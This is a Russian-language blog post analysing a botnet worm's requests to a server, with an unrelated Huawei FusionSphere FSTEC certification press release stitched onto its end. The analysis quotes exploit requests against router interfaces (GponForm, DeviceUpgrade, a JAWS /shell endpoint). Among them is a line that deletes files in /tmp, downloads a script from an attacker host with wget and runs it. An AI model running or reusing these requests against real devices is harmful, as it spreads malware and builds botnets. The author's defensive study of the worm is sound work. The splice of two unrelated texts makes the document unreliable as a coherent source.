chmod x *; ./systemdas jaws.exploit

Попробую разобраться что здесь происходит. По моему мнению каждая строка направлена на определённую архитектуру процессора (x86, mips, mpsl, arm, arm5, arm6, arm7, ppc, m68k, spc, i686, sh4, arc). С начала заходит в найденный каталог, затем загружает туда файл, запускает его и если архитектура совпадает, то работает дальше. Этот файл тоже оказался в свободном доступе так что можно туда заглянуть.

Начало говорит о том что это elf (формат исполняемых и связываемых файлов).

Сразу бросается в глаза надпись «This file is packed with the UPX executable packer http://upx.sf.net».

Это говорит о том что файл упакован сервисом upx. Распаковываем, «берём микроскоп» и смотрим дальше. Перед тем как открыть бинарник в программе Ghidra, точку входа можно посмотреть через команду «readelf -h». С ходу наткнулся на неприятную штуку. Цикл из которого нет выхода. Наверно так было задумано.

POST /ctrlt/DeviceUpgrade

Я предполагаю что роутеру, в каталог обновления загружается xml инструкция, по которой ПО роутера определяет адрес для скачивания нового обновления прошивки. А заполучить его можно на сайте злоумышленников — jx.qingdaosheng.com. Как будет работать роутер после этого, зависит от целей и задач злоумышленников.

POST /cgi-bin/

Цель — программное обеспечение (движок) для организации интернет-форумов Ultimate Bulletin Board. Если доступ к этому каталогу открыт, все скрипты доступны. В интернете описан случай когда хакеры используя этот способ, заполучили пароль от FTP, но пакостить не стали. Благородные оказались.

POST /GponForm/diag_Form?style/

Про GponForm я уже писал только через параметр «image». Скорей всего через заголовок «XwebPageName» при передаче параметра diag_action=ping к GponForm/diag_Form?style/ маршрутизатор выполняет пинг по адресу который находится в параметре «dest_host», и сохраняет результаты пинга в /tmp, который передаёт пользователю после того как он обратится к /diag.html.

GET /shell?cd /tmp;rm -rf *;wget jx.qingdaosheng.com/jaws;sh /tmp/jaws

Вот это поворот!!! При анализе поступившего запроса загружается shell скрипт, после его выполнения запускается вирус отправляющий запрос с которого всё началось. Круг замкнулся. Сервер после рассылки по сети запросов к роутерам и серверам, начинает копировать себя, уже можно смело его назвать червь для создания ботнета.

А здесь я обнаружил послание от некой хакерской группы, а может и не группы. Поскольку там присутствует нецензурная лексика, её я с вашего позволения опущу. Они называют себя We BiG L33T HaxErS. Судя по стилю хакеры имеют отношение к геймерам начала 2000х годов.

Немного справки:

1337, L33T (leet — elite) — интернет-язык маленьких геймеров и хакеров годов 2000-ых. Абсолютно нечитабелен в устной речи, годится только для употребления в письменном виде. Слово elite помогает почувствовать себя особенным. Алфавит L33T формируется посредством почти полной замены букв алфавита на цифры. Поначалу нужен был для обхода словарных фильтров. Хакеры использовали, его для усложнения работы модераторов сайта и стали использовать более сложное шифрование сообщений. В World of Warcraft общение между Альянсом и Ордой осуществлялось только через leet, потом это поправили патчем. Когда алфавит утратил свою актуальность он стал выполнять свои декоративные функции. Модное веяние подхватили геймеры, понимание странных сообщений в чатах онлайн-игр показывало, что ты в теме и вообще шаришь, поэтому довольно быстро leet нашел себе новую аудиторию. Отсюда и шутки про 1337 в никнеймах школьников. Leet оставил настолько большой след в интернет-культуре, что референсы и отсылки к нему появлялись постоянно: например, в любимой теми же самыми школьниками CS 1.6 класс террориста называется leet, в Half-life есть карта под названием 1337 Street, а в Google раньше можно было набрать l33t и нажать «Мне повезёт!», после чего сам гугл переключался на leet.

«We BiG L33T HaxErS» можно интерпретировать как «мы большие элитные хакеры». Ur (смотри скриншот) я думаю это ник взятый из WoW.

Немного справки:

Ur был магом Даларана до прихода Плети. Он был наиболее известен своими исследованиями теневой магии и исследованиями других миров. Он наиболее известен своими исследованиями инопланетных существ, известных как воргены. Хотя его знания были велики, некоторые считали, что его совесть удерживает его от истинной силы. Он погиб во время Осады Даларана от рук Плети.

NeTiS — Компания «NETIS SYSTEMS» является частью компании «Netcore Group». Её штаб-квартира расположена в г. Шэньчжэнь, Китай.

Кстати сервер который занимается рассылкой если верить reg.ru привязан к Гонконгу.

Теперь попробую перевести. Самореплицирующаяся программа, которая делает плохо компании Netis, и Ur самый башковитый — мы большие элитные хакеры.

P.S. Данная публикация это способ отвлечься от основного рабочего занятия, и узнать для себя что-то новое. Основной посыл я думаю понятен, обновлять стоит не только сервера но и оборудование которое в том числе обеспечивает доступы серверов к сети. В общем всё что можно обновить надо обновлять.

Платформа huawei fusionsphere прошла сертификацию фстэк

Huawei получила сертификат Федеральной службы по техническому и экспортному контролю (ФСТЭК) на платформу виртуализации Huawei FusionSphere, став одним из немногих представленных на российском рынке вендоров, обладающим сертифицированным решением по виртуализации с актуальной версией ПО.

Платформа виртуализации Huawei FusionSphere позволяет создавать отказоустойчивые распределенные центры обработки данных нового поколения как для операторов связи, так и для корпоративных заказчиков. Решение включает в себя все необходимые для современного центра обработки данных компоненты: систему виртуализации, сетевую подсистему, а также возможность использовать собственное программно-определяемое хранилище без внешней системы хранения данных. Оно позволяет максимально использовать ресурсы посредством централизации существующих рабочих нагрузок виртуальных машин на нескольких серверах, что позволяет высвобождать больше серверов для обслуживания новых приложений и решений. Huawei FusionSphere демонстрирует высокую производительность при работе критичных для бизнеса приложений в виртуальной среде, малые задержки при работе сервисов и встроенные механизмы обеспечения отказо- и катастрофоустойчивости.

«Виртуализация позволяет существенно сократить расходы предприятия на ИТ- инфраструктуру за счет оптимизации процессов управления, автоматизации, адаптации и масштабирования, – сказал Иван Кровяков, директор по IT-решениям Huawei Enterprise Business Group в России. – При выборе платформы виртуализации ряд организаций, таких как предприятия государственного, финансового и энергетического секторов, кроме параметров самой системы, вынуждены обращать внимание на работоспособность механизмов безопасности, встроенных в платформу, а также наличие сертификата соответствия того или иного регулирующего органа. Программный комплекс FusionSphere имеет встроенные средства защиты от НСД к информации и может применяться на предприятиях, к которым регулятор предъявляет особые требования. Получение сертификата позволяет нам расширить спектр компаний и организаций для сотрудничества».

В начале октября платформа FusionSphere 6.x успешно прошла сертификацию, положив начало сотрудничеству компаний Huawei и «СИС Груп». По завершении испытаний ФСТЭК России выдала на платформу виртуализации сертификат соответствия №4023 сроком действия 5 лет. Теперь же инспекционный контроль по требованиям ФСТЭК России в подтверждение выданного ранее сертификата прошла версия 6.3.1, благодаря чему компания Huawei стала одним из немногих представленных на российском рынке вендоров, обладающим сертифицированным решением по виртуализации с актуальной версией ПО.

«Компания Huawei является на сегодняшний день одним из наиболее активных игроков российского рынка корпоративных информационных систем. Успешное прохождение сертификации ФСТЭК дает ей возможность предлагать соответствующие решения для внедрения на предприятиях, к которым регулятор предъявляет особые требования, – отметил генеральный директор «СИС Груп» Сергей Груданов. – С учетом широкой продуктовой линейки Huawei, у нас большие планы продолжения нашего сотрудничества».